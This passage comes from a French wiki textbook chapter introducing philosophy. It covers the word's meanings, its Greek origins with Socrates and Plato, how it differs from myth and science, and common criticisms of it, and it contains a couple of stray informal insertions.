rapproche de l'état de dieu. Nous dirions aujourd'hui que la philosophie s'occupe des valeurs, des réalités estimées les plus hautes par les hommes. *la philosophie a aussi une finalité morale et pratique : '''elle est un art de vivre''', et le philosophe qui vit selon la raison s'efforce de vivre en sage et de suivre le bien pour atteindre le bonheur. On mesure mal aujourd'hui l'importance de cet art de vivre qui faisait souvent comparer le philosophe à un dieu mortel, à un dieu vivant parmi les hommes (c'est le cas, par exemple, chez des philosophes aussi différents que Platon, Aristote, Epicure et Sénèque). Cet aspect pratique a considérablement évolué, et est aujourd'hui étudié en philosophie politique, en philosophie de l'action et en éthique. *en conséquence, le philosophe se propose comme modèle : il ne se contente pas d'inventer des règles de vie, mais agit en conformité avec ses pensées, et se sculpte pour ainsi dire lui-même. Le philosophe veut vivre ce qu'il pense, il veut l'incarner, et non seulement en avoir l'idée. Le philosophe est donc tout le contraire d'un intellectuel, car son propos n'est pas d'avoir une opinion sur toutes choses (en ce sens, l'intellectuel est un sophiste au sens péjoratif donné par Platon à ce mot). ===Analyse d'expressions courantes=== Les mots '''"philosophie"''', '''"philosophe"''', '''"philosopher"''', ont plusieurs sens dans notre langue, et ces sens dépendent d'un contexte. Ce contexte est défini par ce que fait la personne qui parle ou dont on parle, par l'objet de notre discours, ou par l'activité dans laquelle nous sommes engagés. Par exemple : *on dit que quelqu'un subit une épreuve avec philosophie ; dans l'épreuve, quelqu'un dit : "il faut être philosophe", "il faut prendre les choses avec philosophie", etc. ; le mot est '''synonyme de calme, de contrôle de soi, et bien souvent de résignation''' ; *être philosophe, c'est aussi ''avoir des opinions en faisant preuve d'esprit critique'', en étant capable de penser par soi-même ; ce sens s'est affaibli, au point de faire du mot philosophie un synonyme de n'importe quelle sorte de vision des choses et d'idéologie (philosophie d'un homme politique, voir d'un joueur de balle aux pieds...). *le sens d'une œuvre exprime une certaine philosophie, ''une vision du monde'' (morale, scientifique, historique, etc.) ; le romantisme et certains philosophes (tel que [[w:Heidegger|Heidegger]]), ont pensé que l'œuvre dévoile quelque chose d'essentiel, tels que la vérité, l'être, etc. *la philosophie d'un philosophe, i. e. ''sa doctrine, son système d'idées cohérent'', tels qu'ils les expriment dans ses oeuvres ou par son comportement ; la philosophie d'un philosophe est donc une pensée ou une '''sagesse''', quelque chose qui se rapporte à la vie vécue et à la question de savoir ce que c'est qu'une vie bonne, droite, juste, heureuse. *le cours de philosophie ; on désigne ainsi la ''discipline avec son contenu défini par un programme''. *l'histoire de la philosophie : la philosophie en tant qu'elle est un événement d'une histoire humaine collective ou individuelle, et qu'elle suit ou non un cours, qu'elle se développe par des processus déterminés ou au hasard des contingences des affaires humaines. === Sens spécifiques === Les sens que l'on peut trouver dans le langage ordinaire ne nous font évidemment pas connaître ce que les principaux intéréssés entendent par là. Les philosophes ont eux-mêmes utilisé le mot ''philosophie'' dans de nombreuses expressions : *Philosophie première, c'est-à-dire la [[w:métaphysique|métaphysique]], la philosophie qui porte sur les principes et les causes : ce qui est premier ontologiquement. C'est la science la plus haute, car elle porte sur les premiers principes de toutes choses. Son objet est la réalité la plus haute que l'esprit humain puisse concevoir. Certains philosophes en font la philosophie tout entière, dans la mesure où la métaphysique interroge le sens de l'être de choses (et non seulement leurs déterminations, les manières dont ils existent). Ainsi, selon Heidegger, la question fondamentale, la plus profonde et la plus vaste est-elle : '''« Pourquoi donc y a-t-il de l'étant, et non pas plutôt rien. »''' (''Introduction à la métaphysique'') *Philosophie seconde : la physique. Cette partie de la philosophie est maintenant autonome. En tant que partie de la philosophie, la physique était la science de l'être en tant que matière. *Philosophia perennis *Philosophie générale *Philosophie de l'histoire, morale, politique, de la nature, de l'art, etc. Le cas possessif peut s'entendre à la fois comme un génitif objectif et comme un génitif subjectif. Cette manière d'assigner des domaines à la philosophie suppose en outre que l'on puisse diviser la philosophie, et pose la question de l'unité de la pensée et de la culture. *Philosophie populaire : c'est un courant de la philosophie allemande. === Conclusion === Ses sens du mot permettent de développer ce que nous avions trouvé par l'étymologie : *la philosophie consiste à cultiver nos facultés morales et spirituelles ; *cette [[culture]] implique '''une certaine attitude par rapport au monde et aux événements,''' attitude qui résulte d'une éducation philosophique ; *la philosophie est une attitude intellectuelle : '''le philosophe s'efforce de comprendre le monde où nous vivons et s'interroge sur la destinée humaine''' ; pour cela, il fait la critique des opinions et des croyances, et il construit une vision rationnelle de l'action humaine et de la connaissance de la nature. D'où les questions de [[w:Kant|Kant]] qui résume ainsi la philosophie : **Que dois-je faire ? **Que puis-je savoir ? **Que puis-je espérer ? **Qu'est-ce que l'homme ? *ajoutons que le résultat de ces reflexions est transmis par le moyen du langage, et est enseigné à travers les siècles : il y a donc un héritage philosophique, qui est à la fois '''une tradition et une démarche pédagogique dont le but est d'apprendre à penser'''. C'est l'histoire de la philosophie dont la connaissance nous permet d'exercer notre raison. == Origine de la philosophie == L'étymologie que nous venons d'étudier marque le caractère historique de la philosophie. A un moment donné, des hommes ont cru bon de poser et de réunir certaines questions dans un discours spécifique et avec des intentions spécifiques. Mais pourquoi et comment ces hommes se sont-ils mis à la philosophie ? Qui sont-ils exactement ? A partir de quoi, de quelle culture, ont-ils élaboré ce que nous nommons philosophie ? ===Conditions matérielles=== L'origine de la philosophie est liée à un grand nombre de facteurs. La philosophie est contemporaine de la ''cité'' grecque. *Développement des arts (artisanat et art) : l'accumulation des savoirs purement pratiques aboutit à une systématisation des connaissances dans la science et dans la philosophie ; par exemple, le savoir pratique des arpenteurs égyptiens permet la géométrie comme science. *Production esclavagiste : il y a une séparation entre les hommes : **les esclaves, en vue de satisfaire les besoins matériels ; **les hommes libres, qui peuvent se livrer à une activité désintéressée (science, politique, philosophie, au sens où ce n'est pas l'utilité immédiate qui est visée). *Liaison avec la mer : la navigation et le commerce permettent des rencontres avec d'autres [[culture]]s. Comme on le voit, le philosophe est loin de naître grâce à un système démocratique tel que nous le concevons aujourd'hui. Il ne faut pas oublier que la démocratie antique est esclavagiste. ==== Les influences culturelles ==== L'origine de la philosophie est mal connue ; on considère généralement que le premier philosophe est Thalès de Milet. Mais ce philosophe de la nature était peut-être d'origine phénicienne, et son savoir laisserait supposer une tradition plus ancienne. La philosophie naît sous l'influence de la science égyptienne (géométrie), du savoir phénicien (arithmétique), et de courants religieux variés, venus par exemple de Mésopotamie et de l'Inde. Bien d'autres influences ont été supposées, mais il est dans l'ensemble très difficile de faire la part des choses. Il faut remarquer également que les premiers philosophes vivent en Ionie (Turquie), dans des cités maritimes. Le commerce, les échanges économiques et la mer ont suscité les premières réflexions de la [[culture]] grecque. À cela s'ajoute la naissance de la cité, unité [[politique]] où se définit un espace public d'exercice de la parole, de l'argumentation et de la persuasion. === Les premiers philosophes === Ces premiers philosophes sont par convention nommés ''presocratiques'', et parfois ''Préplatoniciens''&nbsp;: Thalès, Anaximandre, Anaximène, Pythagore, Parménide, Zénon d'Élée, Empédocle d'Agrigente, Héraclite, Leucippe et Démocrite, les Sophistes, etc. Ils vivent entre la fin du VIIe siècle et le milieu du Ve siècle, et certains sont contemporains de Socrate. Bien que nous n'ayons que peu de témoignages de leur activité philosophique, certains fragments nous donnent de précieux renseignements sur ce qui s'appelle philosopher. Ainsi, l'invention cosmologique de Thalès, ''Tout est eau'', est-elle une généralition conceptuelle inouïe, qui dépasse d'un coup l'impuissance de l'inférence scientifique. La philosophie est ici exprimée toute entière dans la puissance de l'esprit à concevoir des théories, malgré leur impossibilité empirique. ===Socrate=== Socrate est un symbole de la philosophie. Pourquoi ? C'est ce que nous allons tenter de comprendre par sa vie et sa pensée. ====L'invention du concept==== Socrate passe pour l'inventeur de la définition et du concept. Ce point est si remarquable, qu'il a servi encore à des philosophes au XXè siècle pour définir la philosophie : le philosophe invente des concepts. Qu'est-ce que la beauté ? Nous pouvons comprendre pourquoi Socrate fut conduit à cette invention, en considérant la nature de ses recherches. Dans ses premiers dialogues, Platon nous représente son maître cherchant ce qui fait qu'une chose est telle ou telle. Par exemple, pluieurs choses sont belles : une belle marmite, une belle jeune fille, etc. Mais aucune n'est la beauté elle-même. Par quoi et de quelle manière ces choses sont-elles belles ? ====Le dialogue socratique==== *la réflexion critique *l'ironie *la maïeutique *la torpille et le taon *le procès ====La réflexion critique==== Socrate représente un tournant dans l'[[histoire]] de la pensée. Son comportement dans la cité tranche avec l'attitude de ses prédécesseurs qui vivaient en sages citoyens ou se tenaient à l'écart. Mais Socrate interroge tout ceux qu'il rencontre dans la rue, pratiquant le dialogue et l'ironie qui dévoilent les prétentions des savants et des nobles Athéniens imbus de leurs [[connaissance]]s et de leur tradition. «&nbsp;Je sais que je ne sais rien&nbsp;», voilà la machine de guerre de ce dialecticien habile, que l'on a pu considérer comme un sophiste (cf. Aristophane, ''Les Nuées''). Socrate, délaissant les recherches physiques des Présocratiques, est l'inventeur de la philosophie [[morale]] ; il fut à l'origine de nombreux courants de pensée, et a influencé de nombreux Grecs de premier ordre, principalement Platon et le beau Alcibiade dont il était amoureux (voir le Banquet). Le Socrate ''de Platon'' ne ressemble pas au véritable Socrate : Platon le met parfois en scène dans des polémiques qu'il ne connaissait peut-être pas (dans le Philèbe entre autres exemples). ===Platon=== *La philosophie comme savoir et comme politique Si Platon a élaboré sa pensée à partir du cas de Socrate (au point de vue dialectique et [[morale]]), il semble par la suite s'opposer ouvertement à son maître qui finit par disparaitre dans ses œuvres de vieillesse, en particulier dans les ''Lois''. L'importance du type du philosophe chez Platon semble en effet peu compatible avec l'ironie socratique. Retenons pour cette brève [[histoire]] des origines, que l'on peut considérer Platon comme le premier grand philosophe de l'histoire, dans la mesure où il s'efforce de faire du philosophe une autorité ''surhumaine'' qui tient sa légitimité de sa connaissance des Idées. Le philosophe platonicien prend ainsi une dimension considérable, puisqu'il prétend s'élever au-dessus des contingences de l'histoire et déjouer les illusions de l'expérience humaine, du ''trop humain''. À ce titre, le philosophe devient un véritable maître et un roi légitime, législateur de la cité, assignant aux hommes leur fonction sociale en harmonie avec l'ordre divin du cosmos. Platon a ainsi inventé un nouveau type de philosophe, qui influencera toute l'histoire de la pensée jusqu'à nos jours. En effet, dans ses grandes lignes, la philosophie ultérieure n'est souvent qu'un long développement de cette idée que le philosophe est un législateur. Cette idée est reprise avec des intentions et des justifications variées, en théologie ou par quelques intellectuels contemporains par exemple. Telles sont schématiquement les origines historiques de la philosophie ; on voit que ces origines dévoilent une partie de la nature de l'activité philosophique. Pour une introduction philosophique à cette histoire, lisez le livre A de la ''Métaphysique'' d'Aristote, qui contient une belle réfutation du platonisme. === La philosophie hellénistique === *Art de vivre ===Origines philosophiques=== Mais il reste à comprendre les origines proprement philosophiques de la [[philosophie]]. Pour cela, il faut se souvenir de l'importance de l'étonnement chez [[Platon]] et [[Aristote]]. L'étonnement (qu'il faut prendre en un sens fort : admiration, stupeur, etc.) suscite la vocation de chercheur de la [[vérité]], car la [[pensée]] reste inquiète tant qu'elle n'a pas trouvé les [[cause]]s et les principes des choses. D'où la définition antique de la [[philosophie]], qui est la [[connaissance]] des causes et des [[réalité]]s divines. Cette [[connaissance]] du [[sage]] doit conduire au [[bonheur]]. Le vécu philosophique prend donc sa source dans l'inquiètude de l'[[homme]] face au monde, quand il se pose des questions sur son [[existence]] ; la soif de connaître (''philo-sophie'') cherche alors un appaisement dans la [[science]]. La [[science]] est de ce fait une disposition «&nbsp;psychique&nbsp;», un habitus où l'[[esprit]] qui connaît se repose. Dans le ''Phédon'', Platon fait dire à Socrate que l'origine de cette inquiétude est la mort. La mort, parce qu'elle semble refuser que nous donnions une signification trop réelle à la vie, suscite tous les fantasmes et toutes les interrogations : peut-on savoir ce qui nous attend ? L'homme a-t-il une destination particulière dans l'au-delà ? Par exemple, pour Platon, il est nécessaire de supposer l'[[existence]] de réalités divines, car de telles réalités sont seules susceptibles de donner un fondement à la connaissance, à la [[morale]] et à l'espérance humaine. Ainsi la vie serait-elle privée de sens et de valeur si nous ne pouvions nous faire de telles réflexions. ==Spécificité de la philosophie== Une bonne méthode pour déterminer le sens d'un concept est de rechercher ce que ce concept n'est pas. Voyons si nous pouvons appliquer cette méthode à la philosophie. ===Philosophie, mythes et religion=== Hello VOUS!!!! Le mythe et la philosophie ont un point commun : ce sont des explications cohérentes du monde. Le mythe est un récit fabuleux qui décrit l'origine du monde, de l'homme, de la société. Mais il y a des oppositions : *la philosophie est une connaissance rationnelle, le mythe a un caractère merveilleux, inexplicable même pour les causes qu'il invoque, comme les forces surnaturelles ; *la philosophie suppose que l'on adhère à une doctrine seulement par la force des arguments, le mythe est une croyance, l'adhésion se fait en l'absence de preuve ; *la philosophie explique les phénomènes naturelles par des causes naturelles, le mythe par des causes surnaturelles. La vie peut quelque fois etre signe de faiblesse comme de richesse. Retenez toujours cette phrase; parce que tant qu'il y a de la vie, il y a de l'espoir. - Grand-mère Boutet ===Philosophie, sens commun et sagesse au sens large=== La sagesse est un art de vivre ; elle exprime des préceptes pour la conduite de la vie. C'est ce que fait également la philosophie, et bien vivre est l'un de ses buts, sinon le seul. Mais la sagesse est aussi l'expression du sens commun, du bon sens (dont chacun est normalement pourvu) : elle est alors une sagesse de l'expérience immédiate portant sur des choses contingentes, et elle ne peut se fonder sur un savoir, mais seulement sur l'opinion et la croyance. La sagesse populaire est de ce fait parfois incohérente et les proverbes contradictoires. Cette sagesse n'est pas infaillible, et elle ne répond pas à toutes nos questions ; elle nous met dans l'embarras. La sagesse du bon sens n'est donc pas ce que l'on vise par l'activité philosophique, mais l'embarras qu'elle suscite est certainement la voie vers une sagesse plus haute. ===Philosophie et opinion=== Nous avons vu plus haut que le philosophe possédait un certain genre d'opinion. ==== L'opinion ==== On a une opinion quand on pense que quelque chose est vrai, sans en avoir la certitude. C'est une croyance dont la certitude subjective est insuffisante. En ce sens, il n'y a pas d'opinion philosophique, car l'affirmation philosophique est censée pouvoir exhibée ses raisons. ==== Philosophie et sophisme ==== ===Philosophie et science=== La philosophie a un certain rapport à la connaissance, et elle est même comprise en premier lieu comme le savoir même. Mais c'est le cas également pour la science devenue indépendante de la philosophie. S'agit-il alors du même genre de connaissance, ou y a-t-il une connaissance spécifique à la philosophie, ou la science interdit-elle que la philosophie puisse prétendre être elle aussi une connaissance ? ====Liens entre la philosophie et la science==== A l'origine de la philosophie, il était possible à un homme d'embrasser l'ensemble des connaissances scientifiques. Les philosophes sont alors aussi de grands scientifiques, ou inversement (Thalès, Aristote, par exemple). La science est pour certains philosophes, tel Platon, la condition de la sagesse. Cette union entre sagesse et science durera des siècles. Au XVIIè siècle, Spinoza présentera sa pensée sous une forme déductive proche des mathématiques. ====Points communs==== *Rejet de l'opinion *Rejet de ce qui n'est pas démontré *Usage de la raison *Utilisation d'abstractions *Recherche du vrai *Discours sans clôture ====Ce qui les distingue==== *La science s'occupe de faits, la philosophie de valeurs ([[morale]]) *La science est quantitative, la philosophie qualitative *Croyances rationnelles/certitudes scientifiques ====Les problèmes spécifiques à la philosophie==== *Le problème des fins de l'action *Le problème des fins de la connaissance *Le problème de la valeur et des normes En tant que la philosophie porte sur des valeurs, on peut encore admettre cette conception d'Aristote, selon laquelle le sage prescrit, mais ne reçoit pas de prescription. On peut très bien remettre en cause cette comparaison de la science et de la philosophie. La science, par exemple, a une réalité tangible pour le sens commun, dans la mesure où elle nous est souvent utile. Il peut paraître aberrant de rapprocher science et philosophie sous ce rapport, car il est évident que l'utilité immédiate de la philosophie est nulle, et on peut affirmer que la philosophie ne mène à rien. Néanmoins : :« En essayant de prouver que finalement « on aboutit tout de même à quelque chose », on ne fait qu'accroître et fortifier la méprise régnante, qui consiste dans l'opinion préconçue que la philosophie peut être estimée selon les critères courants auxquels on se refère pour juger si une bicyclette est utilisable, ou si les bains d'une station thermale sont efficaces. » ([[w:Heidegger|Heidegger]], ''Introduction à la métaphysique'') == Trois conceptions de la philosophie == Ce travail conceptuelle étant accompli, nous pouvons à présent en venir à la signification même de la philosophie et étudier plus en détail les conceptions que des philosophes se sont faits de la philosophie. Nous avons distinguer nettement trois conceptions de la philosophie : *une '''partie reflexive''' de la philosophie : l'exercice de la raison en tant qu'activité d'évaluation et de critique des arguments ; *un '''savoir philosophique''' : par la détermination de concepts et d'outils mentaux pour comprendre l'homme et le monde ; *une '''partie pratique''', la sagesse, qui doit faire l'unité du penser et de l'agir (de l'entendement et de la volonté) ; Reprenons ces conceptions pour les approfondir. ===I. Réflexion, critique et autonomie de la pensée=== L'idéal philosophique est donc de penser par soi-même, de se fixer à soi-même sa propre norme. La pensée critique est une libération de la pensée de ses entraves sociales, morales, etc. Être libre, cela peut donc signifier participer activement et consciemment à l'histoire du monde en étant son propre guide. Mais, dans ce cas, pourquoi la plupart des hommes se contentent-ils d'une philosophie spontanée, i.e. d'une sagesse du sens commun qui n'est pas vraiment éclairée ? Parce qu'ils sont lâches et passifs : *penser, c'est prendre des risques, car il faut prendre le risque de voir ses croyances detruites par la critique ; *penser demande un gros travail que la paresse naturelle fait fuir. Il y a ainsi deux positions possibles devant la philosophie : *la rejeter, ce qui revient à admettre les préjugés, les opinions extérieurs, et se laisser manipuler ; *l'accepter, se construire une conception du monde, penser et philosopher. Ces reflexions font comprendre pourquoi la philosophie n'est pas une activité comme une autre, que l'on pourrait classer facilement dans le champ des connaissances. Cette activité nous concerne dans la mesure où nous nous sentons le courage de nous prendre en charge, et d'assumer la tâche de la pensée. ===II. Savoir, concepts, méthodes et divisions=== La philosophie est constituée d'un ensemble de concepts que l'esprit humain s'est efforcé de classer. ====Apprend-on la philosophie ou à philosopher ?==== Sur quoi porte l'activité philosophique ? Les expressions courantes ne s'identifient sans doute pas toujours au sens propre de l'acte de philosopher, mais un contenu peut être dégagé, i.e. un objet qui forme la matière de la discipline appelée "philosophie." Pourtant ces objets sont nombreux : l'homme, le monde, les moyens de la connaissance, l'action [[morale]] et [[politique]]. Toutes ces matières à reflexion ont cependant ceci de commun qu'elles supposent un maniement d'idées, de notions, de concepts. Or ce maniement n'est certainement pas aléatoire, et on s'attend à ce que la philosophie soit quelque chose comme un art de raisonner, i.e. d'examiner, de réunir, de comprendre, etc. des concepts, en suivant des règles strictes. C'est ainsi qu'une théorie est un ensemble de concepts rationnellement organisés. En philosophie, il existe plusieurs possibilités d'organisation des concepts, possibilités d'autant plus nombreuses que l'activité de la philosophie n'est pas limitée par ''un'' objet. L'ensemble des concepts peut par exemple être organisé d'après la division grecque de la philosophie : la connaissance de la nature, ou physique, l'[[éthique]] et la logique, science du raisonnement, c'est-à-dire méthode du bon gouvernement de l'entendement. A ce titre, la logique structure la connaissance du monde et ordonne l'ensemble des notions de la philosophie morale. Ce troisième domaine peut être aussi considéré comme une [[théorie]] de la connaissance. Cette division est parfois attribuée à [[w:Platon|Platon]], mais elle n'est explicitement formulée qu'à partir du Stoïcisme. Une autre division, prenant en compte le fait que la physique n'est plus aujourd'hui une partie de la philosophie, consiste à distinguer seulement [[théorie de la connaissance]] et éthique. Mais il existe en réalité bien d'autres domaines, telles que l'esthétique, la philosophie politique, etc., qui ont pris une certaine autonomie au cours de l'histoire de la philosophie. En théorie, la philosophie couvre tous les domaines de la [[réalité]], puisque son objet par excellence est la réalité même, physique et mentale (en ce sens, la philosophie est dite philosophie première ou métaphysique). Dans les faits, il n'y a qu'un nombre limité de concepts, dont la liste est évidemment toujours ouverte, et ce sont ces concepts qu'il faut étudier pour s'initier à la philosophie. Ils peuvent être étudié pour eux-mêmes (apprentissage de la pensée, de l'analyse, du raisonnement en général), ou liés à d'autres concepts avec lesquels ils forment un domaine spécifique ([[morale]], esthétique, etc.), ou encore suivant leur devenir historique (connaissance des systèmes des philosophes, [[histoire]] de la philosophie). Ainsi, l'étude des concepts d'une part, et, d'autre part, l'étude de la logique, forment une initiation complète à la philosophie, dont la finalité est de penser par soi-même : ''sapere aude''. Si cela est juste, alors on peut comprendre pourquoi la philosophie ne s'apprend pas : il n'y a pas un contenu donné et constitué dont on peut dire : voilà toute la philosophie. La philosophie, comme science achevée, n'existe pas. L'apprentissage de la philosophie n'est donc pas un apprentissage de la mémoire, mais un exercice de la [[raison]]. Cet exercice s'appuie sur l'évidence des concepts et sur la nécessité des demonstrations. La méthode pour enseigner la philosophie ne peut donc être dogmatique (elle ne peut être indiscutable et refuser toute critique) ; elle doit être zététique. On apprend pas la philosophie, on apprend à philosopher. Mais peut-on pour autant se passer de tout apprentissage. Nous avons vu que non. :"La philosophie d'aujourd'hui contient tout ce qu'a produit le travail de millénaires ; elle est le résultat de tout ce qui l'a précédé" Hegel. Il faut donc aussi connaître l'histoire de la philosophie. === III. Sagesse et art de vivre === En tant que pratique, la philosophie peut être décrite de plusieurs points de vue qui n'ont sans doute pas tous la même valeur. *Les philosophes professionnels sont des personnes rémunérées, formées en vue de transmettre un [[savoir]] traditionel. En ce sens, ils n'ont pas nécessairement vocation à penser. *De même, il est certainement abusif d'appeler philosophes les étudiants en philosophie. *On dit aussi parfois que les historiens de la philosophie ne sont pas des philosophes, alors qu'ils peuvent être professeurs de philosophie à l'université. Cela n'enlève rien à leurs mérites, puisqu'en tant qu'historiens ils ont une activité de recherche particulièrement importante. Le philosophe n'est peut-être pas à rechercher de ce côté. Par exemple, dans son ''Vocabulaire critique'', [[Lalande]] dit que l'emploie de "philosophe" dans les sens ci-dessus est ironique. ====Vocation de philosophe==== Pourquoi certaines personnes se passionnent-elles pour la philosophie, alors que d'autres semblent la mépriser ? Les philosophes en donnent plusieurs explications, qui se retrouvent de Héraclite à Bertrand Russell en passant par Descartes. On peut retenir les points communs suivants : '''A.''' Vivre sans philosopher, i. e. sans reflexion sur nos actes et sur le sens de nos valeurs, c'est ne pas vivre réellement ; l'idée de sommeil est fréquente, par exemple, pour Héraclite : ''Les autres hommes ignorent ce qu'ils ont fait en état de veille, comme ils oublient ce qu'ils font pendant leur sommeil.'' Et pour Descartes : ''C'est proprement avoir les yeux fermés, sans tâcher jamais de les ouvrir, que de vivre sans philosopher.'' Le refus ou l'absence de la philosophie entraîne donc une vie d'ignorance,, une vie que l'on passe sans en prendre [[conscience]]. C'est un point important car le reproche de passer à côté se retourne parfois contre le philosophe. Ainsi [[Platon]] note-t-il que le philosophe est un être maladroit, car ses préoccupations ne concernent pas la vie quotidienne ; il est donc sans expérience, ignorant ce que les autres croient important. Il passe alors pour un homme peu sûr de lui, et pratiquement pour un imbécile, ou au moins pour quelqu'un qui cherche à fuir ce monde par la recherche de [[vérité]]s eternelles (cf. Théétète). Mais pour le philosophe, vivre sans la pensée, ce n'est pas vivre. '''B.''' Le point de départ de la vocation de philosophe est souvent décrit comme procédant de l'étonnement. De cet étonnement, plusieurs interprétations sont possibles : *l'étonnement comme prise de [[conscience]] que l'on ignore quelque chose ; dans ce cas l'étonnement prend la forme d'une question. Par exemple: quel est le [[principe]] des choses ? "C'est en effet l'étonnement qui poussa comme aujourd'hui les premiers penseurs aux spéculations philosophiques. Au début, leur étonnement porta sur les difficultés qui se présentaient les premières à l'esprit ; puis, s'avançant ainsi peu à peu, ils étendirent leur exploration à des problèmes plus importants, tels que les phénomènes de la Lune, ceux du Soleil et des étoiles, enfin la genèse de l'Univers. Or apercevoir une difficulté et s'étonner, c'est reconnaître sa propre ignorance (c'est pourquoi même l'amour des mythes est, en quelque manière amour de la sagesse, car le mythe est un assemblage de merveilleux). Ainsi donc, si ce fut bien pour échapper à l'ignorance que les premiers philosophes se livrèrent à la philosophie, c'est qu'évidemment ils poursuivaient le savoir en vue de la seule connaissance et non pour des fins utilitaires." ([[Aristote]], ''Métaphyique'', Livre A). *l'étonnement comme le vertige des doutes que l'on éprouve face à l'inconsistance de la [[réalité]]. C'est l'explication de [[Bertrand Russell]] : le [[monde]] est-il réelle ? Nos sensations ne nous trompent-elles pas ? *l'étonnement comme peur face à l'inconnu, et notamment face à la [[mort]]. Dans ce cas, le philosophe se demande s'il est possible de vivre véritablement en ayant conscience de notre finitude. La mort n'est-elle pas une injustice flagrante ? :''La philosophie naît de notre étonnement au sujet du monde et de notre propre existence, qui s'imposent à notre intellect comme une énigme dont la solution ne cesse dès lors de préoccuper l'humanité.'' (Schopenhauer). == Place du philosophe dans la société == == Vie et mort des philosophes == == Critiques de la philosophie == La philosophie a été critiquée dès sa naissance. Certaines critiques sont extérieures au discours philosophique (par exemple, les critiques du sens commun), d'autres lui sont internes (critiques des philosophes entre eux). Mais toute critique peut faire l'objet d'un examen philosophique ; on ne peut d'ailleurs concevoir de philosophie sans critique. C'est ce que nous allons maintenant développer. === Critiques du sens commun et inutilité pratique de la philosophie=== La critique du sens commun est peut-être la critique de la philosophie la plus ancienne. En voici un exemple : <br /> On rapporte sur Thalès une anecdote célèbre, reprise par Platon, dans le ''Théétète''&nbsp;: ''« le philosophe qui tombe dans le puits ouvert sous ses pas parce qu'il est occupé à regarder les choses du ciel. »'' Platon raconte qu'une domestique se serait moquée de lui en disant&nbsp;: « Comment comptez-vous comprendre ce qui se passe dans le ciel si vous ne voyez même pas ce qui est à vos pieds ? ». Ainsi, comme nous l'explique Platon, le philosophe, occupé de choses qui dépassent le sens commun, peut se montrer un être maladroit, qui ignore la valeur des comportements de ses semblables : il ne les comprend pas, et ces derniers voient en lui un personnage risible. Pourtant, il savait aussi de tirer profit de ses observations. [[Aristote]] raconte que Thalès, prévoyant une abondante récolte d'olives, il aurait monopolisé les pressoirs pour mieux monnayer leurs services ; il voulait ainsi montrer que le sage est capable de faire fortune mais n'attache pas d'importance privilégiée à celle-ci. Que faut-il en conclure ? Peut-on en conclure quelque chose ? Sans doute peut-on dire *que l'activité philosophique nous libère de certains ''conditionnements'' sociaux et culturels (ce qui n'est pas sans conséquences sociales, et cela à tous les niveaux considérés) * qu'elle fait tout d'abord perdre l'équilibre à celui qui commence de la pratiquer. Il n'a plus l'appuie de ses opinions et la perte de ses croyances provoque une violente douleur : ''Les discours de la philosophie blessent plus sauvagement que la vipère.'' (Alcibiade dans le dialogue du ''Banquet'' de Platon). === Dogmatisme et vanité de la philosophie === Ces critiques soulignent en particulier l'inutilité de la philosophie, et son [[idéalisme]] (elle semble ignorer la [[réalité]]) : *ce serait donc une discipline morte. Dire cela, c'est remettre en cause tout ceux qui s'intéressent de près ou de loin à la philosophie, et principalement ceux qui l'enseignent et veulent nous faire croire que la philosophie est toujours actuelle. *une critique plus scientiste : la philosophie est maintenant inutile. La philosophie n'aurait été qu'une façon de considérer le monde rationnellement, mais sans les moyens techniques et expérimentaux de la science moderne... Elle ne fut donc qu'un palliatif, et n'a plus aujourd'hui qu'un intérêt historique et sociologique (par exemple, étude du rôle du philosophe dans la société). Cette critique veut ainsi montrer que la philosophie aujourd'hui ne peut se comprendre elle-même, et que c'est le rôle de la science de nous le dire. *la science répondrait d'une manière beaucoup plus concrète à certaines de ses questions ; par exemple, la définition du substrat du monde, la matière, est en perpétuelle évolution en chimie et physique fondamentale. Le gout, traité par Kant, l'est en fait aussi par la sociologie (cf. Bourdieu, ''La distinction''). Ces critiques oublient que beaucoup de philosophes ont une formation scientifique, et que nombre de problèmes scientifiques engendrent des questions philosophiques. *de même, les philosophes se désintéresseraient de la science. Cette critique est apparemment justifiée en [[France]], mais il y existe, malgré quelques exemples malheureusement trop médiatisés, une longue tradition de penseurs passionnés de science ([[Ernest Renan|Renan]], [[Henri Poincaré|Poincaré]], [[Paul Valéry|Valéry]]) ; de nombreux philosophes ont ainsi une culture scientifique adaptée aux connaissances de leur époque. *la philosophie serait une idéologie liée à une époque, à une situation sociale. Dans ce cas peut-il vraiment y avoir une histoire ou une définition de la philosophie ? Car, si les idées philosophiques sont socialement déterminées (toujours en partie par la société en partie par celui qui les porte ), commnent établir un lien entre le philosophe grec Parménide et le classique Leibniz, entre le latin Marc Aurèle et le moderne Hegel ? Une partie de ces critiques portent sur une confusion entre acquisition de la ''démarche philosophique'' et connaissance de l'''histoire de la philosophie''. Ces sujets ont beau être partiellement liés (autant par exemple que les [[science]]s et l'[[épistémologie]], ils n'en sont pas moins distincts. On peut connaître par cœur vies et doctrines des philosophes sans devenir pour autant philosophe soi-même, de même que Robinson dans son île, sans lectures philosophies possibles, est à même de développer une philosophie. Pourtant, il sortirait plus facilement de ses préjugés s'il se confrontait à ses devanciers, et il irait ainsi plus loin dans sa propre pensée. Il y a là autant de différence qu'entre ''savoir lire l'heure'' et ''savoir réparer une montre''. Il ne faut pas oublier non plus que toute discipline scientifique (physique, chimie, astronomie, biologie) a commencé par une interrogation dans le cadre de la philosophie, qui constitue à cet égard ''le couvain des autres sciences''. Son produit le plus récent est constitué par les [[sciences cognitives]]. Certaines de ces critiques sont extérieures à la philosophie et sont l'expression d'un esprit peu ouvert (le sens commun) se reposant dans le préjugé et voyant d'un mauvais œil le doute du philosophe. Mais d'autres concernent la philosophie de l'intérieur, et posent la question bien connue des philosophes de la légitimité de leur activité. == Synthèse et définition == Tentons maintenant de synthétiser l'ensemble des reflexions que nous avons développées. Il ne s'agit pas de donner une bonne fois pour toute une définition de la philosophie ; examinez la synthèse proposée, en vous aidant de tout ce qui précède et de vos propres reflexions, et vous trouverez à coup sûr des défauts assez embarrassants dans ce qui suit. === Définition === La '''philosophie''' est la recherche et l'étude des principes de la pensée, de la connaissance de la réalité, et des finalités de l'action humaine. Cette recherche s'exprime par des théories, ou par des conceptions générales du monde ou de l'homme, par lesquelles un philosophe s'efforce d'organiser rationnellement les concepts issus de sa reflexion ou de les mettre en pratique. Cette discipline implique donc une ''réflexion critique'' (qui s'exprime en particulier dans la formule célèbre : ''Connais-toi toi-même'') dans la mesure où cette recherche fait naître des problèmes (des ''apories'') parfois insolubles, qui, à ce titre, constituent les problèmes fondamentaux de la philosophie. Ces problèmes concernent fondamentalement les concepts de réalité et de [[vérité]] (métaphysique et logique), de bien et de [[justice]] ([[morale]] et [[politique]]) et de beau (esthétique) : *Quelles choses sont réelles et quelle est leur nature ? Existe-t-il quelque chose 